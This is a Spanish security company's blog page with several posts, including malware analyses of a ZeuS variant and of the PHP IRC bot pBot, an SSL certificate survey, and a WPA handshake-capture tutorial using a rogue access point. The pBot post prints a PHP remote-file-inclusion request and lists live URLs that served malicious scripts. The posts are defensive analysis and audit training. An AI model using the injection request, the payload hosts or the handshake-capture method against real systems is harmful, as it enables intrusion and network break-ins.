Español | English
rss facebook linkedin Twitter

Infografía: Distribución de Malware por Países


Hoy, día de internet, queremos compartir con vosotros, esta infografía que hemos realizado con los datos extraídos de Malware Domain list
En la imagen, podemos ver que Estados Unidos sigue siendo el mayor foco de malware del mundo, con un 26% del tráfico mundial, seguido por Ucrania (12%), Rusia (9%) y China (8%). Respecto al malware, Zeus encabeza el Top 5 de programas maliciosos con un 59% de los incidentes, seguido a cierta distancia de Blackhole (20%) y Phoenix (11%). 
Y es que, el malware se multiplica cada año y las empresas dedicadas a la ciberseguridad hemos de trabajar constantemente para encontrar nuevas soluciones que lo frenen. 

FELIZ DÍA DE INTERNET DE PARTE DE TODO EL EQUIPO DE S21sec

infografia mapa malware ciberseguridad







¿Probando tu variante de ZeuS?


Ya hace un tiempo que se filtró el código fuente de ZeuS, y hemos visto variantes como Ice-IX o Citadel siendo usados de manera masiva, pero de cuando en cuando seguimos encontrando alguna muestra basada en este código filtrado.

En este caso, nos hemos topado con una muestra usada como prueba, una prueba bastante reciente ya que la fecha de compilación del binario desempaquetado indica el 9 de abril.

Es curioso ver cómo envía información de debug a un servidor que ha sido "hardcodeado", y cuyo path es "/test/debug.php". Por ejemplo, una vez infectado, vemos como cifra esta información con RC4:

[16:59:13] TC=0000000008, PID=0448(0x01C0), TID=1324(0x052C), LE=0(0x0), F=initUserData, FL=C:\Zeus projects\last\bot_chela_antirapport_with_x (512)..INFO: coreData.currentUser.id="0x2053D9C1", coreData.currentUser.sessionId="0"
Este troyano añade algunas funcionalidades no presentes en ZeuS, como pueden ser la detección de sandbox, de software antivirus o software antimalware. Por ejemplo, es capaz detectar el uso de DeepFreeze o Wireshark, o alguna información "interna" de Sandboxie, Anubis o el sandbox Camas de Comodo. Los patrones buscados se encuentran cifrados (del mismo modo que el cifrado habitual de strings en ZeuS), pero las referencias a las deteciones no, y se puede intuir el comportamiento únicamente mirando a estos strings.

Parece que tampoco quiere compartir la máquina con otro malware, y algunos strings indican que intenta limpiar otras infecciones, como pueden ser las de ZeusV2 o Spyeye:
    SpyEye Kill Mutex Name: %hs                                   
    SpyEye registry value: %s, path: %s                               

    SpyEyeRemove

    Zeus v2 deleted                             

    zeusV2Remove                                

    Zeus v2 deleted
Por supuesto, el nombre del proyecto también es más que interesante ("zeus projects", "antirapport", "with x64", "chela"??):
C:\Zeus projects\last\bot_chela_antirapport_with_x64\source\client\...
Otro ejemplo claro de comentarios que nos indican el comportamiento lo encontramos en lo referente a la interacción con el firewall de windows (windowsfirewall.cpp):
WindowsFirewall::FirewallAddExclusions"
"Added exclusion for %s"

"Exclusion for %s is re-enabled"

"Exclusion for %s is already in the list"

"Firewall DONE"
Y hay muchos más:
In IE!
I'm a installer.                                   

I'm a loader. 

Current process started from system account. Installing to all users.

Malware report to server: %d                                   

MalwareDelete::_removeAll 

Accepted client connection.                                    

Accepted new conection from bot (BotID: %s, IP: %s).                               
Accepted new conection from client (IP: %s), but bot not connected! Disconnecting client!

...
  
Nada más que decir, solo dar las gracias al desarrollador por (al menos por esta vez) hacer nuestro trabajo un poco más sencillo ;)

Mikel Gastesi
S21sec ecrime





S21sec participará en las jornadas X1 RED MÁS SEGURA

El próximo 18 de mayo S21sec participará en las jornadas "X1 Red Más Segura" que se celebrarán en Madrid y que tienen como propósito promover el uso de Internet de una manera confiable y segura.

Su objetivo es hacer llegar a todos lo públicos el uso adecuado y responsable de los recursos disponibles en la red con el fin de evitar ser víctimas de abusos fraudulentos, estafas, acoso, grooming y tantos otros problemas que cualquier navegante puede sufrir en Internet si no cuenta con unos conocimientos adecuados.

Para esta labor, las Jornadas cuentan con un cartel de profesionales de la Seguridad Informática y el Hacking Ético consagrados, que mostrarán las verdades de la red y brindarán consejos de gran utilidad que todo navegante debería conocer.

En este sentido, Juan Carlos Rodriguez, responsable de formación de S21sec dará una ponencia bajo el título Seguridad en el acceso a Internet desde dispositivos móviles, consolas y Smart - TV.

Dpto.Marketing S21sec





Análisis de la evolución de un bot (PBOT): Parte I


En los últimos días, hemos visto la evolución de un bot, al que llamaremos: PBOT
En primer lugar se ha observado que mediante una vulnerabilidad de PHP, en la que se intenta inyectar código a través de la variable _SERVER[DOCUMENT_ROOT], asignándole una URL en la que recogerá los datos.
  • GET/path/?_SERVER[DOCUMENT_ROOT]=http://url.com/path/archivoPHPmalicioso??   HTTP/1.1

Cómo archivos maliciosos nos hemos encontrado diversos casos, en lo que parece ser la evolución del mismo script. 
  • http://flosser-adler.de/phpMyAdmin/LICENSE
  • http://goldstudio.zz.mu/index/links.gif
  • http://console-toi.fr/wp-includes/images/id.gif 

En el primero de los casos, hemos observado claramente que se trata de un archivo PHP.  


Funcionalidades de pBot

Cómo se puede observar en la evidencia, este programa se trata de un "bot" y que dispone de ciertas funcionalidades, a parte de las evidentes de conexión y desconexión del bot al servidor, de otras destinadas a realizar un ataque, como por ejemplo:
  • Envío de Mails
  • Ejecución de comandos
  • Ejecución de un código php proporcionado
  • Realizar ataques de tcpflood/udpflood
  • Escaneo de puertos
  • Conexión inversa con una shell

Este bot se conecta a un canal de IRC, para poder recibir los comandos, aunque también disponga de la funcionalidad para realizar una conexión inversa, con la que disponer de una shell directamente. Cómo se puede observar en las variables de configuración de dicho bot, se encuentran los servidores a los que realizar la conexión, canales, e incluso los credenciales que se utilizarán para la conexión (tanto con el bot, como con el server IRC). 


Variables de configuración de pBot

Se puede observar que aún se encuentra en desarrollo, puesto que hay algunas partes del código comentadas. A continuación, analizaremos aquellas funciones más importantes. Al final de todo del script, se puede observar como crea un objeto de la clase pBot, y a continuación lanza la función "start()", por lo que empezaremos por esta:
Función START()

Para empezar, esta función crea una conexión a los servidores establecidos en la configuración mediante la función "fsockopen" de php. A continuación crea un identificador para el bot, concatenando el texto obtenido de "config[idetmms]" y un máximo de 3 números aleatorios. Por último, antes de llamar a la función main, se autentica contra el servidor con el que ha establecido la conexión.
Antes de analizar la función principal (main) analizaremos las otras dos funciones que tienen algo de "jugo", puesto que la función main, es algo extensa.

Las funciones udpflood y tcpflood actúan de forma similar. En primer lugar, notifican mediante el canal establecido en "chan", que el ataque de udpflood/tcpflood comienza, y a continuación, crean un paquete con contenido aleatorio, que envían durante un cierto número de veces (en un principio en udp durante un tiempo especificado como parámetro, en el caso de tcp un número de veces establecidas por parámetro) creando distintas conexiones para llegar a saturar el servidor/servicio. 

 Función UDPFLOOD()

Función TCPFLOOD()

A la siguiente función "conback", se le proporcionan dos parámetros, que son una IP y un puerto (estos se usarán para realizar la conexión inversa). En primer lugar, escribe en el canal de IRC, que intenta realizar la conexión a la IP y puerto proporcionados. A continuación, comprueba si es posible escribir en "/tmp/ para volcar el contenido de una variable (en esta primera versión se encuentra comentada, por eso parece estar el script en desarrollo) dentro de un archivo llamado "dc.pl", previa decodificación en base64 de ésta. A continuación, intenta ejecutar el archivo creado para que este realice la conexión a la IP especificada y pueda proveerle una shell. Por último al acabar la ejecución de éste, intenta borrar el archivo para no dejar evidencias.
Función CONBACK()

Existen otras funciones dentro de este bot, pero que básicamente son órdenes o mensajes básicos para el canal de IRC, como establecer el nickname (en este caso, identificando el tipo de servidor comprometido), unirse a un canal, enviar un mensaje privado, etc.
En el siguiente artículo, se analizará la función principal de éste así como la generación del archivo dc.pl por parte de la función "conback()".


Abel Gómez Águila
Dpto. ACSS S21SEC





Análisis de los certificados SSL de los sitios más populares

Recordaréis que hace unas semanas estuvimos descargando los certificados SSL del millón de sitios más populares según Alexa.
De este proceso obtuvimos una lista de 419218 sitios que negociaban correctamente SSL y nos devolvían un certificado que nos pusimos a analizar.

La primera pregunta que se nos ocurrió fue: ¿Cuántos de estos certificados son validos? ¿Cuántos de estos sitios nos van a mostrar bien el candadito en el navegador?

La respuesta no es fácil, ya que nos enfrentamos a una serie de problemas:
- El conjunto de entidades de certificación reconocidas no es igual para todos los sistemas.
- Hay sitios que tienen varios nombres DNS de forma que no todos corresponden con el sujeto del certificado.
- Los criterios de seguridad de los distintos navegadores no son iguales.

Si utilizamos las entidades reconocidas por Firefox para validar los certificados y obviamos la resolución DNS y los criterios de seguridad de cada navegador, obtenemos los siguientes resultados:


Si descartamos los certificados que utilizan un algoritmo de firma vulnerable (md2, md2WithRSAEncryption, md4, md4WithRSAEncryption, md5, md5WithRSAEncryption, md5WithRSASignature y ripemd128) tenemos los siguientes resultados:


Y si además discriminamos según el tamaño de llave utilizado tenemos esto:


En general el estado de salud de los certificados analizados no es bueno. Un gran número de ellos son claramente inválidos y no realizan una de sus funciones principales, la de garantizar la identidad del servidor.

También se mantienen un número considerable de certificados que utilizan MD5 como algoritmo de firma a pesar de que desde hace años se recomienda el evitar su uso. Y por último, el número de certificados con llaves inferiores a 2048 bits sigue siendo muy alto, incluso quedan algunos con llaves de 512.

Ramón Pinuaga
Dpto. ACSS S21SEC






Capturando facilmente un handshake WPA

Se ha hablado mucho de las auditorías en redes wireless. A día de hoy cualquiera pueda conseguir la clave de una red wireless. De hecho existen procesos automatizados que ya realizan todo el proceso completo, como es el caso del script de wifite. Pero hoy no hablaremos de eso.

Antes de empezar con el proceso de captura del handshake y por si no estás familiarizado con el tema, os dejo un gráfico que lo explica muy bien.

Imagen original
Cuando se está auditando una red WPA o WPA2, no basta con conseguir muchos paquetes DATA, lo que se necesita capturar es el handshake, y este paquete solo se consigue desautenticando a un cliente legítimo de la red, y cuando se vuelve a conectar con airodump-ng, una herramienta de la suite aircrack-ng capturaremos dicho fichero semilla.

En el artículo de hoy veremos cómo conseguir un handshake fácilmente, viendo qué tipo de red demanda un cliente.

Primero con airodump-ng miraremos qué redes hay disponibles.


Activamos la interfaz en modo monitor y vemos tanto las redes disponibles, como las que demandan los clientes.


Nos nos fijaremos en este caso en las redes disponibles. Nos iremos al  apartado de abajo, si nos fijamos la MAC que acaba en 55 está solicitando gran cantidad de redes.

Otra de las MAC, la que acaba en D3, está también solicitando una red. Estas redes son las que el portátil/smartphone tiene configuradas y preguntará por estas redes.
Es por eso que prepararemos una pequeña trampa para el usuario nos facilite el handshake de la red. Para eso usaremos un script de Digininja.
Lo que haremos será crear diferentes redes con distintos cifrados. El usuario al detectar que hay una red como la que él tiene configurada, se intentará autenticar contra dicha red será entonces cuando capturemos el handshake.

¿Qué tiene de interesante este método?

Que no necesitamos estar cerca de la red de la que queremos conseguir el handshake, ya que, conociendo la red y viendo que tenemos al usuario cerca y que la está pidiendo, con eso ya podremos capturar el fichero semilla que necesitamos.
Bajamos y le damos permiso al script de DigiNinja


El uso del script es muy sencillo, sólo tendremos que darle el nombre de la red.


Wifi Honey se encargará de crear los distintos ESSID.



Cuando el cliente se conecte a uno de nuestros ESSID's conseguiremos el handshake de la red.


Si miráis la imagen arriba a la derecha, nos indica que hemos capturado el handshake.
Ahora sólo tendremos que hacer la parte del crackeo Offline.

WifiHoney es una solución para conseguir un handshake muy fácilmente, no tendremos ni que desautenticar al cliente, él mismo nos dará la clave de la red.

Marc Rivero López
S21sec ACSS






Seguridad WiFi: Mas allá de los 2400 MHz

El conocido como WiFi es una marca de la Wi-Fi Alliance, organización comercial que adopta, prueba y certifica que los equipos cumplen los estándares 802.11. El enorme éxito de tecnologías como 802.11b/g ya llevado a WiFi a convertirse en un término genérico sinónimo de red local inalámbrica. Estas tecnologías tienen como principal característica el trabajar en la banda de frecuencias de 2.4Ghz, conocida como banda libre, aunque una denominación mas técnicamente correcta sería la de asignación ISM (Industrial, Scientific and Medical). Estas son las bandas reservadas internacionalmente para uso no comercial de radiofrecuencia electromagnética en áreas industrial, científica y médica. Estas asignaciones no tienen que ser necesariamente de equipos de comunicaciones si no que también se emplean en otros usos, siendo el ejemplos cercanos los hornos microondas, mandos remotos por radio, etc.

El uso de estas bandas de frecuencia está abierto a cualquier uso sin necesidad de licencia, siempre que se haga respetando las regulaciones de parámetros técnicos y limites de potencia radiada. Esto ha permitido la popularización de hardware de bajo coste que emplea estas bandas, pero también supone la necesidad de convivir con otros emisores y por tanto a aceptar cierto nivel de interferencia mutua.

La consecuencia es que el espectro normalmente usado para los típicos canales WiFi 1 a 14, entre 2400 a 2484 MHz, se encuentre actualmente saturado. Principalmente por redes WiFi pero también por otros dispositivos como cámaras inalámbricas analógicas o vigila-bebes especialmente en las grandes ciudades. Esto ha supuesto que las nuevas generaciones de redes WiFI y otros sistemas de redes inalámbricas están derivando hacia el uso de nuevas partes del espectro, tanto de uso libre como de aquel que requiere licencia.

El principal ejemplo lo tenemos en 802.11n  la versión más actual de las redes wireless que permite como opción el funcionamiento dual  dentro de 2.4/5Ghz. Caso similar a  802.11ac considerado el futuro de la WiFi: Este estándar abandona la banda de 2.4Ghz ante la imposibilidad de encajar sus velocidades Gigabit pues el  espacio requerido por un solo canal prácticamente supera toda la asignación en dicha banda. La tendencia al uso de otras bandas también es una práctica habitual en los fabricantes de equipos de enlace wireless “carrier class” para aplicaciones punto a punto que ofrecen sus productos en también en ciertos segmentos dentro de las bandas de 900Mhz, 2.3Ghz, 3Ghz, 10Ghz y 24Ghz. A los que habría que añadir las soluciones Wimax en 2,5 y 3,5 GHz.

El uso de redes inalámbricas también ha alcanzado usos mas allá del los ámbitos residencial y empresarial.  Por ejemplo están surgiendo sistemas  que emplean redes wireless para suministrar accesos de banda ancha en aplicaciones especificas en el ámbito de la seguridad pública, en EEUU existe una asignación especifica en 4.9Ghz para redes inalámbricas usadas por organismos de seguridad y emergencias. Siguiendo estos pasos existe una asignación de espacio radioeléctrico similar a nivel europeo, mediante la correspondiente recomendación CEPT,  para los sistemas de banda ancha usados en situaciones catastróficas. Conocidos por las siglas BBDR de sus iniciales en inglés, Broad Band Disaster Relief.

Otras adaptaciones de las redes inalámbricas tradicionales son las comunicaciones de los sistemas de transporte inteligentes  diseñadas para proporcionar información y seguridad en el transporte por carretera, también conocidos como comunicaciones  Car2Car. Estos sistemas actualmente en desarrollo emplearan frecuencias cercanas a los 6Ghz, las tecnologías como WAVE (Wireless Access for the Vehicular Environment) hacen uso del standard IEEE 802.11q que no deja de ser una transformación para estos usos de las redes WiFi tradicionales, como manifiesta el hecho de pertenecer a la familia 802.11.

No es por tanto aventurado concluir que los tiempos en los que un pentester podía enfrentar  una auditoria wireless con únicamente una tarjeta de red 802.11b/g que incorporara un chipset que permitiera los modos monitor y la inyección de tráfico han pasado a la historia. Hoy por hoy  cualquier auditoria inalámbrica planteada de forma realista deberá incluir la identificación y estudio de todas aquellas redes inalámbricas cubiertas por el alcance definido para el proyecto en cuestión, independientemente de la tecnología concreta y la banda de frecuencias empleada.

Miguel A. Hernández
Advanced Cyber Security Services
S21Sec






(+34 902 222 521)


24 horas / 7 días a la semana



© Copyright S21sec 2013 - Todos los derechos reservados


login